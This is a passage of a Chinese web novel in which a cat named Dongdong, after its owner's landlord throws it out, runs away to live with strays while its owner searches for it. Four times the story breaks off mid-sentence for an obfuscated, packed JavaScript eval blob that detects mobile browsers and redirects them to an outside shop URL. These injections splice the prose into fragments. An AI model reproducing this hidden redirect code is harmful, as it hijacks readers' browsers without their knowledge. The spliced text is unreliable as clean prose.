领导还在滔滔不绝地发表感言,内容大多是对公司前景的展望,职员们听了会昏昏欲睡,也毫无裨益。 手机屏幕突然亮起,打断了宋木之游走的思绪,他看一眼,来电显示是房东。 宋木之住的出租房经常出问题,房东也是个事儿多的人,这次打电话想必又是来找他麻烦的。 他并不是很想接,尽管现在需要清醒一下。 电话挂断后,房东又坚持不懈地打来一个超长电话,开会的领导也注意到宋木之频繁看手机的动作。 在终于挂断的同时,领导开口:“要是有急事的话先去接电话吧,不差这一时半会。” 宋木之明白领导这是不满意了,但他也被架着下不来台,只好起身说是客户的电话,猫着身子退出会议室。 然而房东在搅得一团乱后就再没动静,宋木之长叹一口气,刚想给房东回电话,微信又弹出两条超长语音。 宋木之点开语音,卡着老痰的大爷声通过扬声器播放在空气中—— “我说你这家伙怎么回事?今天我去你家修水管,怎么还看见有只猫?当初租房的时候就说过不允许养猫,不允许养猫。”房东说,“我跟你说,你家猫趁着我开门跑出去了……” 房东扯着嗓子,语气中还带着责怪,但后面的内容宋木之根本听不下去,满脑子都是“你家猫趁我开门跑出去了”。 猫怎么可能擅自跑出家门? 冬冬比其他猫都通人性,也当过一阵子人,房东离家出走都不可能是冬冬逃跑。 两条超长语音播放完,房东又随之发来一张照片,冬冬站在出租房最上方的小通风窗口前,那窗子足足有两米多高,正面色凶狠地对着房东的方向呲牙。 房东气急败坏地指着猫,却因着身高不够,碰不到一点。 宋木之眉头皱得更紧,他知道猫是被房东赶出来的,实在迫不得已才跳到最上面的窗子上躲人,不知道冬冬受了多少惊吓。 他立时发送语音:“麻烦把门打开让猫进去,我现在就回去。” 宋木之一把抓起工位上的车钥匙,临时跟部长请了个假,也没管同不同意就立马驱车赶回家。 一路上风驰电掣,偏偏走一段路就是红灯,宋木之紧咬着牙关,思索着房东是怎么发现猫的。 房东大爷说是去家里修水管的时候看到有猫,但修水管这事根本没跟宋木之提前商量过,房东擅自就拿钥匙闯进家里,还把猫赶出了家门。 大爷应该是极度讨厌猫的,他当时租房的时候也提过一句“不能养猫”,但这个条件甚至都没有写进租房合同里,如果不是今天提到的话,他早就已经将其抛之脑后了。 宋木之当初根本没考虑过会养猫,一直以来也为了图方便没再搬过家,如今拖延的恶果猝不及防地落在身上,让冬冬糟了不少罪,他现在无比后悔没有早点处理潜在问题。他没想到房东会连个商量都没有,就直接将猫扔出家门,也后悔没早点想起来房东不让养猫这回事,现在说什么都为时已晚了。 出租房就在二楼,宋木之大跨步走上楼梯,三两下就撞到家门口。 猫还是在老位置,房东大爷根本没把门打开放冬冬进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744125|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一看到宋木之就喵喵叫起来,浑身的毛都沾上通风窗长久以来积的灰尘,看起来十分狼狈。 房东大爷缓缓从一楼上来,背着双手,悠哉悠哉道:“这么快就回来了,我刚想开门把猫放进去呢。” 房东是个六七十岁的老大爷,平日里眼珠努出多高,一小缕一小缕油亮的头发,浑身瘦得跟两根老桦木棍子似的杵在地上,头微仰着睥睨众生。 宋木之知道他是在说客套话,也没搭理他扯的谎,手撑着腰小喘气说道:“别的先不说,你把我猫扔出来干什么?有什么事是不能等我回来再商量的?” “哎——你这小伙子,怎么跟我这个老头子说话的?”房东大爷穿着汗衫,手上的扇子缓缓扇动,熟练地在小年轻面前拿起架子。 “以前那租房的时候我就说了不允许养猫,你现在这是怎么回事?难道要欺负我一个老头子?” 房东大爷拿乔得十分精准,手端着扇子冲宋木之重重点了点:“但是话说回来,要是养猫啊,也不是不可以——你看那租金……” “不用了,这几天我就搬家。” 宋木之满肚子都是火,这其中有对房东大爷落井下石的不满,还有对自己这么大岁数还办不好这点事的懊恼。 每当这种时候,宋木之就会生出任何事情都能被他搞砸的想法,明明早点搬家就可以预防的事,却让冬冬受被赶出家门的苦。 说点实在的,早他爹的干什么去了。 他拿出钥匙迅速开门,招呼着冬冬赶快回家,可身后的房东大爷还是有涨房租的想法——毕竟他把猫扔出来,就是为了能要挟房客多付点房租,谁成想这这小年轻根本不吃他这一套。 房东大爷又尝试说:“哎——你想继续住在这里也不是不行,多交几百块钱房租不就得了,那还需要搬房子那么——” 大爷拖长的语调戛然而止,他看着宋木之满脸沉郁的神情,一箩筐的话术生生咽在肚子里。 门砰的一声关上,发出铁皮晃荡的声音。 这老小区本就设施陈旧,连房门都是多年天灾人祸后的产物,早就破得没眼看。宋木之把门反锁严实,强撑的脊背终于稍微可以放松些。 他无力靠在生锈的铁门上,沉默须臾后,又与蹦到玄关柜台上的冬冬对视,带着满满的愧疚说道:“对不起啊冬冬,是我没考虑到,吓着我们冬冬了。” 说着,宋木之冬冬拥入怀中,轻轻拍了拍它后背作为安抚。 “喵。” “啊好好好,我知道你不想让我抱着,就让我抱一会儿吧,真的对不起。”宋木之又加重些力度,将头埋在冬冬蓬松柔软的毛中蹭了蹭。 冬冬心里想,其实它说的是没关系,哥想抱就抱吧。 哎,人类不通猫性真是件麻烦的事。 冬冬接下来不再喵来喵去,免得宋木之更加沮丧,任由宋木之将它抱在怀里,又抱着去了沙发。 卫生间的门大开着,从去年冬天开始就有问题的热水器终于修好,但宋木之又该找新房子了。他打开租房软件浏览半天,萦绕在眉眼之间的躁郁始终没有散开。 12. 掌上明珠 合适的出租房没那么好找,这几天宋木之四处奔波,一有时间就去看房,然而他也不放心留猫独自在家,只能带着猫包去寻觅新的房东。 这天早晨,宋木之坐在街边的台阶上,身旁还放着处在猫包里的冬冬。 深思熟虑过后,他打开聊天框给路易发了个消息。 Song:冬冬能不能先在你家住几天? 路易几乎是秒回:怎么了?你落魄了?养不起了? 宋木之将事情原委大致说一遍,路易突然一个电话打过来,一接通就是大喊声:“我靠,还真被我说中了啊,你那房东咋就能随便进你家啊?” “他有钥匙。” “有钥匙也不能擅自进租客的家里啊,你是不是都不知道这事?”路易义愤填膺地为他打抱不平,“要我说你那个房东……” “算了,都已经这样了。”宋木之没心思追究这些。 自从上一次说要搬走之后,房东大爷就天天用电话和微信轰炸宋木之,一会儿劝他加点钱继续住着也挺好,一会儿又说现在的房子不好找,看他能找到个什么好房子,宋木之通通没理。 他怕继续住在那里,房东迟早会把他的猫折磨更甚。 “你直接来我家住就行,正好我家南瓜可以跟冬冬做个伴。”路易见他没心情谈论太多原房东,立马转移到正经话题上。 宋木之手肘撑着膝盖,低头摆弄着脚边的石子。 “冬冬给你添麻烦就够了,我去住旅店……” “少跟我讲这种,我前女友搬出去的房子刚收拾出来,你跟你家冬冬住就行了。”路易那边传来键盘敲打声,听起来还在写东西,“好了你就直接来吧,我今天下午要去学校做实验,尽快来啊,我得介绍你们给南瓜认识,尤其是冬冬。” 宋木之又在外面转一上午,直到中午他才开着他那辆二手小破车,吭哧吭哧地来到路易的家里。 他只打算借住两天,只带了些冬冬常用的行李,自己就背一个公文包。宋木之一手提着猫包,一手提着自己和冬冬的行李,手都快散架了。 敲门声响后,路易抱着他家的小布偶猫站在门前,笑着对宋木之说:“来南瓜,叫宋叔叔。” 宋木之提起手中的猫包,让里面的冬冬先跟南瓜打个招呼,随后又放在地上,卸下一身的行李之后,才放轻松地长舒一口气。 “什么玩意,按我这年龄应该叫哥才合适吧?” 路易抱着南瓜给他引路到空房间,捋着猫背回答:“我都是南瓜他爹了,你现在也得承认廉颇老矣啊。” 宋木之短暂思考两秒,被迫接受辈分不能乱的事实,不给路易一点占他便宜的机会,接下来就是带冬冬熟悉环境。 他提溜着猫包走到卧室,轻轻打开门放冬冬出来。 “喵……” 冬冬声音轻柔地叫一声,试探着猫爪一步一步走出来,它探出头观察着陌生人,半天没动,最后索性直接在猫包出口坐下,不愿再多往前一步。 路易一看到冬冬就夹起嗓子,温柔地将南瓜放到地上,让两只猫一起玩。 可冬冬皱皱鼻子嗅过南瓜后,立马就后退一步,面色凶狠地冲它呲牙怒吼,吓得南瓜也不由得往后退,十分从心地躲在路易的裤腿后面。 “哎呦,你家冬冬原来这么胆小啊。”路易弯腰安抚着南瓜,嘴上还跟哄孩子似的说,“乖乖南瓜,我们不怕哈,下次你也凶回去。” 宋木之有些尴尬地摸摸后脑勺,找个椅子坐下来,将冬冬一把捞过来抱在怀里。 冬冬之所以对小布偶猫的反应如此大,是因为上次宋木之聚餐回来后,身上就全是这只小布偶猫的味道,更何况上次给冬冬发“小猫握手”的视频时,它记得那只“野猫”就长这样。 现在还要带它来“野猫”家,实在天理难容。 冬冬将头埋在宋木之的怀里,只留给大家一个圆润的后脑勺,浑身的毛发都因为昨天在外面被赶来赶去的时候滚脏了,它还没来得及清理自己。 不过冬冬知道,宋木之这么落魄好像都是因为它。昨天被陌生人踢出家门的时候它就听到那人说的话:“什么破猫,也敢养在我的房子里!” 还好冬冬跑得快,只被踢了一脚就顺着鞋架子爬到最上面,量那大爷气急败坏也不能拿它怎样。 尽管逃过了大爷,但冬冬还是觉得不太开心。 如果能随意变成人就好了,那样就不会被房东赶出来,也能像宋木之一样出去工作获得纸钱,到那个时候冬冬就不会是宋木之的累赘了。 冬冬心里这么想着,又往宋木之的怀里凑了凑,把自己整个身子窝成一个圆球,偷偷露出一只眼睛往外看。 南瓜也在好奇地打量它,冬冬这才发现那还只是个几月大的小猫,连毛都没长齐,它方才对着南瓜哈气实在是以大欺小,但猫爷冬冬并不在意。 它还是对“野猫”提不起来兴趣,一连好久都窝在宋木之的怀里,不小心就睡着了。 梦里,它梦见宋木之喜欢猫也喜欢人,冬冬变成什么样他都喜欢,还梦见猫摇身一变成为大明星,它跟宋木之再也不需要寄人篱下了。 冬冬这一睡就是三个小时,再次醒来的时候已经不在宋木之怀里,而是趴在铺好的床上。宋木之还用毛毯给冬冬窝了一个“麦旋风”,猫醒来的时候就在“旋风”毛毯中间,睡得格外舒适。 它动作轻盈地跳下床,前扑着猫身子伸个懒腰,这才有精神巡视新的领地。 冬冬做猫的时候也能听懂人话,心里明白这是“野猫”小布偶的家,它只是过来借住几天,转过几圈后就觉得很没意思,于是轻手轻脚地从门缝中探出头,正好与一只在好奇看向这个房间的南瓜对视。 “喵。” 你以后都要在这里吗? 南瓜轻轻交流一声,看来冬冬刚来时那一声哈气把它吓得不轻,已经在准备着送冬冬爹俩走了。 冬冬向前走几步,发现家里两个人类都不在,大概是各有各的事出门了。它有些不好意思地回答:“就在这里几天,找到新房子就会走了。” 冬冬凑近南瓜,任凭它嗅来嗅去交朋友,沉默两秒后又跟南瓜道了个歉。 “没关系,你是那个高高的家伙养的宝宝吗?”南瓜又转身,在距离冬冬一米远的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744126|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方坐下。 冬冬疑惑:“什么宝宝?我是被收养回家的。”话刚说完,冬冬又纠正小小南瓜的说话方式,“还有,你说的高高的家伙叫做人类。” “哦,人类。”南瓜歪头,好奇地看着比它大好几岁的猫咪冬冬,“可是宝宝就是宝宝呀,所有的猫咪都是人类养的宝宝。” “对了,收养是什么意思啊?” 这个南瓜一看就是刚出生没多久就离开猫妈妈,被人带回家的,冬冬惜字如金地解释:“收养,就是把外面过得不好的猫带回家。” 冬冬挺起胸膛舔毛,身上白色的毛都不安分地炸起来,看起来十分威武。 “你以前在外面过得不好吗?”南瓜好奇地问,莫名觉得猫爪有些痒,便又跑又跳地回到猫抓板前,弓着身子在麻绳上抓来抓去。 “不,我在外面挺开心的,但人需要我。” 小布偶猫见冬冬没有刚开始那么凶,很快就放松警惕,话也变得多些。冬冬满耳朵都是这小猫好奇的问题,它最不喜欢的就是管孩子,又生出要是变回人就好了的想法。 冬冬对小猫的问题左耳朵进右耳朵出,三两句打发完一个问题,就紧接着又来另一个问题,冬冬年纪轻轻就被问得一把年纪,应付完南瓜后,它感觉自己心理年龄老了好几岁。 南瓜佩服地说:“你懂得还真多啊。” “你以后也会懂的。” 与猫交涉完毕,冬冬又回到卧室,一蓄力跳上白色桌子,费力地仰着头看窗外的景色。 借住的地方没有窗台,玻璃窗外的景色也都是些小小的楼,完全不如老小区的景色好。冬冬看一会儿就收回视线,百无聊赖地回到被它睡乱的旋风毛毯上卧着。 世界安静下来,外面的天渐渐暗沉,冬冬揣起手,集中起所有意念,心中只想一件事——变成人吧,变成人就好了。 冬冬现在也不喜欢当猫,猫这个形态把宋木之害得如此落魄,只要它在这个家一天,宋木之就要背着一份工作养两份口粮的重担,它得变成人才能帮宋木之生活过得好一些。 可无论它怎么用功,猫都还是猫,反而等到了宋木之和路易一起回家。 “有车就是好,嗖嗖嗖一下就到了。”路易走在前面,率先走进家门,感慨一句后便冲到南瓜面前,双手捧着小猫身子举到空中转悠。 “我那就一个破车,也只能苟延残喘当个代步工具了。” 宋木之关上门,看看几个小时不见就要给猫举高高的路易,又看看等在一旁的冬冬。 冬冬仰着头,神情平淡地看着宋木之,脑袋瓜里忽然闪过白天南瓜说的那句:可是宝宝就是宝宝啊。以往宋木之经常会抱着猫亲亲抱抱的,但好像很久没有这样做过了,猫也不理解。 在宋木之看来,冬冬这表情就是在期待着也要举高玩,于是伸出双手,捧着冬冬圆润的脸颊说道:“冬冬也是我的掌上明珠啊。” 什么掌上明猪? 冬冬感觉宋木之是在暗戳戳骂它,这家伙分明是还在记那天晚上不配合他上体重秤的仇,因为嫌它长胖了不肯抱。 再说了,它才不胖呢。 13. 给人添乱 冬冬坐在卧室桌子上,又继续望着天空发呆。 天蓝蓝的,它也伤伤的。 宋木之又是每天准时准点去上班,连个招呼都不打。冬冬醒来时身侧空无一人,床都凉了,但这都没关系,冬冬可以假装一点都不在意。 它现在也有重要的任务。 现在只要一有时间,冬冬就会努力、勤奋、且不气馁地尝试变成人,但每次都华丽地失败了,每次睁眼看到的都是圆润的猫爪。 一旁的南瓜年纪太小,根本不能理解冬的忧愁有那么大,也没法帮助冬冬一星半点。走投无路的冬冬由此学会人生——不,准确来说是猫生在世的第N条人生哲理:万事都只能靠猫自己,指望别猫是不可能的。 至于上一条人生哲理,还是不允许坐在扫地机器人上巡视领地。 宋木之说过,想巡视的时候去找他坐转椅,但冬冬总觉得转椅没有扫地机视野广阔。 在屡战屡败屡战后,猫咪冬冬终于放弃物种变身计划,只能心不甘情不愿地老老实实当一只猫。但它总感觉心里有蚂蚁在灼烧,烧得整个猫都坐卧不安。 它想,不能再继续拖累宋木之了,一只猫的口粮可要花不少纸钱呢。 就是因为猫,宋木之住得好好的房子被赶出来,只能求爷爷告奶奶借住在别人家里,还要每天操心猫的吃饭问题。 就是因为猫,宋木之工作上的问题数不胜数,每天都忙得来不及处理。 就是因为猫,宋木之每天都早出晚归,只为了找一个能允许养猫的合适的房子。 太荒唐了!堂堂猫猫老大怎么能这么拖累人呢? 冬冬第一个不允许。 冬冬左看右看,在房间里烧心地走来走去,南瓜又来找它絮絮叨叨,说的净是一些跟主人的日常小摩擦小幸福,这些话在冬冬听来格外刺耳。 “你别说了,我想静静。”冬冬低着头,过几秒钟后又补充道,“不要问我静静是谁。” “好的。”南瓜停下蹦蹦跳跳的动作,好奇地问,“为什么不能问啊?” 冬冬:“……” “因为我马上就要出去流浪了。”冬冬走出有宋木之淡淡味道的房间,终于下定决心,直奔紧闭的房门。 这门与宋木之之前住的老破小不同,看起来干干净净的没有铁锈,关门时更不会发出铁锈摩擦的刺耳声音,哐一声就关上了。 冬冬先前观察过门的使用方法,这一点儿都难不倒它。 只见冬冬学着电视剧里的台词,头也不回地警告南瓜:“退后。” 南瓜将信将疑的往后走了几步,冬冬不满意,又亲眼看着南瓜退到卧室门前,才终于松口。 冬冬跟拆弹专家准备大展身手一般,谨慎地跳上橱柜,趁着门不注意,一猫爪拍开门把手。 只是轻轻一动,门把手向下压的同时门锁收回,一股凉风从门缝中窜进来。 冬冬轻巧地跳下去,一个闪身便消失在门外。南瓜刚想跟上去看看,门又被从外面关上,发出重重一声闷响。 关门可花了冬冬不少力气,借住这家的门太过厚重,冬冬需要使尽全身力气推才能合上。确认里面的猫不会因为它的失误跑出来后,冬冬才放心离开。 去哪里呢,这是个严肃的问题。 但冬冬又转念一想,反正去哪里都是流浪,就离宋木之远一点吧。 冬冬迈开猫步,顺着在猫包里看到的路线,一路向下。 …… 在路易家借住一天后,宋木之在靠近市区的位置租了个房子。尽管距离比之前远,但房子面积更大,更新,更重要的是新房子有两间南北方向的卧室,以便于日后万一冬冬再变成人他也有房间住。 当天下午签完合同,宋木之就要开始筹备搬家具的各项事宜了。 为了不耽误工作,这几天只有下午下班后才有时间搬家,宋木之秉承着既然都已经咬咬牙租那么大的房子,找搬家公司也只是再咬咬牙的事,于是搬家公司与他的小破车齐齐上阵,第一天晚上就搬了好一大半,累得宋木之回到床上时倒头就睡。 第二天也是如此。 第三天……猫突然丢了。 宋木之站在偌大的新房子里,焦躁地抓了抓头发:“你没开玩笑吧?冬冬不可能自己走丢。” 搬家进度很快就进入尾声,就差把猫接回家过日子了,但他万万没想到路易打电话过来说猫不见了,宋木之脑袋几乎当场死机。 路易也有点急:“我真没开玩笑,监控上就是冬冬自己开门出去的。” 不仅自己开门出去,还贴心地关上了门,防止南瓜也什么都不懂跟着跑出去,天知道路易看到这个监控录像的时候有多惊讶,他抱着南瓜都不知道该作何评价。 宋木之背靠在墙上,一个人面对着零零散散乱七八糟的房子沉默,手机上正在播发的是路易刚刚发来的监控视频。 的确如他所说,冬冬头也没回地抛弃他,独自一猫出去了。 近些日子他光顾着忙新房子的事,却忽略了一整天都住在别人家、跟早有恩怨的布偶猫同在一个屋檐下的冬冬,他都不知道冬冬每天在想什么,在做什么,连冬冬生出想要继续出去流浪的心思他都不知道。 路易在手机那头一连发来好几条消息,都是在问冬冬情况的,宋木之挑一条回答:“先试着找一下吧,我现在就回去。” 上一次这么急切地回家还是房东扔猫,没想到这么快又要回去找猫,还不一定能找得到。毕竟猫咪冬冬是自己出去的,说不定是嫌他什么事都办不好,才会毅然决然自己开门决定去外面的世界流浪。 就在这时,手机上又收到领导的消息。 “小宋啊,这阵子怎么老是请假不来啊?是不是工作太累了?” 宋木之这种时候最心烦意乱,没心思跟领导玩文字游戏,也不想花时间打迂回战,直接眉头一皱回答:“家里有人病重,在准备后事。” 反正宋木之早就已经没有家人了,陪到他最后的姐姐早已在去年冬天病逝,临死前甚至都没离开过医院,他现在只有家猫冬冬一个。 这种理由简直是一劳永逸,领导简单地慰问过后就再没烦过他,还特地多给他批了几天假。 寻猫行动从路易的小区开始。 思考再三后,路易一把捞起见证猫咪走失现场的南瓜,动作干脆利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744127|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落地塞进猫包。这是他第一次带着小猫出门,南瓜自从到家以后就没有做过社会化训练,一路上路易提着猫包也胆战心惊的,生怕一个不小心南瓜就应激了。 不过胆战心惊的路易不知道的是,南瓜正在观察猫猫大王冬冬之前跟它提起的世界,并且看得不亦乐乎。 应激?那是不可能的。 路易轻轻拉开猫包拉链,又给南瓜闻了闻冬冬睡的毛毯,期冀南瓜能跟网络上找猫的猫猫侠一样,通过味道就能指引他们冬冬的方向。 “南瓜,你还记得跟你玩了好几天的猫咪吗?帮我们找找吧,就帮帮忙哈。” 南瓜仔细嗅嗅毛毯,又后撤一步乖乖坐在地上。 它听不懂路易叽哩咕噜在说什么,只能歪头看着两个人。 宋木之知道,把希望寄托在一只家养小猫身上是不太可能的,他把冬冬的物品给周遭流浪猫嗅一遍,又大方地开了几个罐头。猫猫侠们录入信息,尝试寻找,但结果无一例外都是检索失败,找不到半点冬冬的行迹。 接下来一整个下午,宋木之顶着大太阳找遍整个小区,又去物业调监控,张贴寻猫启事,任何能想到的办法都尝试过一遍。 但冬冬就像是一滴水落入大海,出走得无声无息,不着痕迹。 就此消失在宋木之的世界里。 …… 一路上车流飞驰而过,冬冬缩回草丛里,蓄力跳到围栏瓷砖上。 不过多久,眼前被茂密的植被挡住视线,穿过层层叠叠的灌木丛,一声猫叫穿传进耳朵里。 小橘猫第一时间发现冬冬的身影,咪咪喵喵地朝它跑过来蹭了蹭头。 冬冬长途跋涉许久,又回到之前的老小区里找小猫朋友们。它不喜欢借住的那个小区,草坪上到处都在喷洒水珠,浇得它连卧一会儿都不安生,而且重新跟那里的流浪猫熟悉太费神了,冬冬不喜欢交那么多朋友。 “你怎么来了呀。”小橘猫又蹭了蹭冬冬的头顶,肉眼可见地开心不少。 冬冬被这么一问,突然不知道该如何作答。 它想起过去几个月的离奇曲折,胸中涌起的情绪太过复杂,它也说不清楚,于是回答道:“以后又要回来流浪了。” 准确地来说,其实是冬冬认为宋木之不喜欢它变成人的样子。 “我好像给人添了很多麻烦,人的生活被我搞得一团糟。” “哥每次都比以前晚回来好久,而且不愿意跟我一起睡觉,好几次都是趁我睡着之后,他就一个人跑到客厅沙发上去睡,其实我都知道。”冬冬甩甩尾巴,有些失落地低头看着地面,“最近哥又因为我被赶出房子了,连个家都没有。” 小狸花用锋利的爪子挠挠痒,有些同情地说:“啊,怎么会这样?” 又有一只白猫凑近,围着叙旧的几只猫坐下来,一言不发地听猫猫们开大会。 “我也不知道,当初跟着哥走明明是想让他开心的,现在却搞砸了。” 冬冬又仰头看天,自从尝试做过人之后它就养成了看蓝天的习惯,以前做猫时都没注意过头顶上还能有这么多变化。 “反正我再也不会回去给人添乱了。” 14. 猫猫大会 白猫看起来刚刚长大,两颊还带着些幼态。 它平日里很少说话,也不喜欢跟猫猫们打架,就只是安安静静地坐在大家身边,上个冬天冬冬走之前还不记得猫群里还有这样的白猫,于是问:“你是从哪里来的啊?” 或许是没想到身形庞大的冬冬会搭理自己,白猫卧在原地愣一下,这才说道:“我不知道我是从哪里来的,上个冬天我就被主人扔出来了。” 小橘猫微微眯着眼睛,给在它旁边的冬冬小声解释道:“白白有点惨,来我们这里的时候腿都不好使了。” “现在已经好了!” 狸花懒懒地接话:“没错,人把它抓走,再回来的时候就能正常走路了。” “那你的腿为什么会受伤啊?”冬冬见不得同为猫猫联盟的小弟受伤,歪头问白猫,“是不小心被车轧了吗?” 冬冬第一时间想到的就是这个原因,它以前就是这样差点没命的。 狸花先一步回答:“那还能是因为什么啊,它是白猫就容易被欺负呗。长得还那么小,都没有大猫带着,而且我记得隔壁的猫超级超级凶,我一进它们的地盘就冲我大喊大叫。” “梨!花!”小橘猫呲牙警告一下名叫梨花的狸花,“你注意点态度好吗?怎么像个坏蛋一样啊!” 这名字还是人起的,小猫们经常听到人叫它梨花梨花的,大家也都开始叫凶狠霸道的狸花叫做梨花。 梨花这东西猫猫们知道,就是地上很好看的花。 白猫见气氛有点僵,只好狠下心豁出去,逼着自己跳出来打圆场:“其实我是被主人打的,他不喜欢我。” “我也不知道为什么要打猫,我只是想上厕所而已。” 这下气氛更僵了,猫猫大会中的所有成员都没说话,得知真相与想的完全不一样后,梨花也对刚才的话有些抱歉。它伸伸懒腰走到白白身边,蜻蜓点水似的蹭蹭小白猫的脖子,以作安慰。但小白猫不知道大家为什么都沉默,这让它比刚才还要尴尬。 早知道就不豁出去了。 这番话大概只有冬冬能回答,人的家跟外面随心所欲的草坪不一样,它做家养猫时间最长,知道猫是要在猫砂盆里上厕所的。人类还有很多规矩要遵守,如果不遵守人类就会不开心。 可是小白猫遵循猫的天性又没有错,冬冬就算知道原因也不打算告诉它。 它深刻记得猫生守则第N-n条:话说太多会像是在数落人的过错。这是之前宋木之告诉冬冬的,所以它也不想让白猫再难过一次。 冬冬走近几步,在小白猫面前停下来:“所以你逃出来了是吗?好厉害啊。” 距离近些后,冬冬才发现小白猫鼻子上有一道伤疤,耳后也秃了一小块。小白猫舔舔手,心情还算可以地说道:“放心吧,现在我也会打架,我可凶了!” “可不是,一有人靠近它就跑得没影了,我最放心的就是它。”梨花一改往常补刀的调性,难得夸小白猫一次。 小橘猫碰碰冬冬,开心地安慰它道:“好啦好啦,那在这里跟我们一起玩也挺好的,我们不要跟人类过日子了。” 白猫心情久违地不错,它卧在旁边大致听懂了冬冬的经历,好心安慰道:“虽然我不太理解你有家为什么要跑出来,但是猫生在世,开心最重要嘛。” 冬冬点点头,也不知道听进去没有。 日头渐渐往西山落去,猫猫们的毛发被金黄色的日落眷顾,猫猫大会散会后,大家各自找个位置趴着。 冬冬想趴在它夏天最喜欢的井盖上,可是宋木之曾经说过人要避开井盖走,还特地把冬冬拉到他那边护着,冬冬记得很清楚。 思索再三,它选择独自卧在草丛里,直到太阳西沉到底,它始终窝在草丛里看人来人往。一下午来喂猫逗猫的人很多,但没有一个是宋木之。 猫猫们都散去后,小梨花悄悄凑近,压低声音问道:“你是怎么变成人的,可不可以传授一下经验啊?” 在小区里流浪的猫猫们饥一顿饱一顿,十分羡慕每天都能凭空变出猫粮的人类,梨花忍了好久才终于问出这个问题。 它也想变成神奇的人类,这样就再也不用挨饿受冻了。 但冬冬却不理解:“变成人没什么好的,而且我也不知道方法。” 眼看着冬冬又要难过,小梨花连忙打住话头,装作很忙地在草坪上走来走去,眼睛还不忘盯梢着冬冬的状态。 空气中泛着一派祥和的味道,平静得冬冬总感觉心里空了一块。 冬冬又在不受控制地想宋木之了。 其实它很想跟人待在一起,在宋木之怀里跟趴在地上的感觉大相径庭,冬冬喜欢在宋木之工作的时候用尾巴拂过他的胳膊,有意无意地撩拨一般,再任性地从电脑键盘上路过好久,这样以来就会收获一只咋咋唬唬的人。 每当那时,宋木之会把猫亲密地搂在怀里,这样冬冬就可以顺理成章地躺在宋木之身上,人和猫都在暗自窃喜。 但现在只有干硬的土地,以及不停在猫身边飞来飞去的小虫子。 这是冬冬自己的选择,它再也不能走回头路了。 入夜时分有点冷,冬冬将身体缩成一团,躲在草丛里缓缓闭上眼睛。 …… 一连两天没怎么睡觉,宋木之手里攥着空的咖啡杯,稍一用力就捏成团。 明明还是下午,但天阴得像是有墨水滴下来。 外面正在下大暴雨,风刮得呼呼作响,不知道冬冬会不会傻到淋得全身湿透,现在又在哪里。 方圆几公里内都搜了个遍,能张贴的寻猫启事都贴了,宋木之每天闭眼是找猫,睁眼还是找猫。近些日子烦心事一个个接连不断,稍不注意头发就垂到耳边。 宋木之一抹脸,再抬头时眼神暗淡,有几缕发丝还带着潮湿的水汽。 他冒着大暴雨找了许久的猫,最后浑身湿透才被路易生拉硬拽回来,但途经小区时正好看见昨天贴的寻猫启事被暴雨冲刷到地上,回来后就一直没说话。 他从来都是个坚定的唯物主义者,上学时□□空间清一列转发的“挂柯南”在他看来不屑一顾,甚至有些愚蠢。但现在宋木之看不得任何不好的预兆,就算是被暴雨冲掉的寻猫启示也会让他怀疑是不好的预兆,他就快要撑不住了。 路易冲了个热水澡,肩膀上披着毛巾从卫生间走出来:“你也去洗个澡,别感冒了。” 这两天路易有空就跟着一起找猫,他理解冬冬对宋木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744128|189800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之有多重要,但自己身体都不顾怎么能行。耳边充斥着暴雨砸向玻璃窗户的声音,他看向外面乌黑浓重的天,轻轻叹一口气。 宋木之靠在沙发扶手上,摇摇头说:“……就不了,等会儿雨小点我再出去找找。” “还去找?”路易擦去发丝上的水珠,惊讶道,“这么大的雨,你干嘛这么执着找猫。” 宋木之在这时异常平静,黑眼睛中蕴藉着暗淡无光又压不垮的精神。他像是背负着一车稻草的马,每个将稻草赠给他的人都以为是好意,可是他就快要被最后一根稻草压垮了。 被问的人沉默着没有回答,只是将最后一口咖啡喝完,抬手扔进垃圾桶里。 与此同时,手机传来消息,是老小区里同为流浪猫组织的邻居。 “我看你朋友圈发的寻猫启事,是不是这只?” 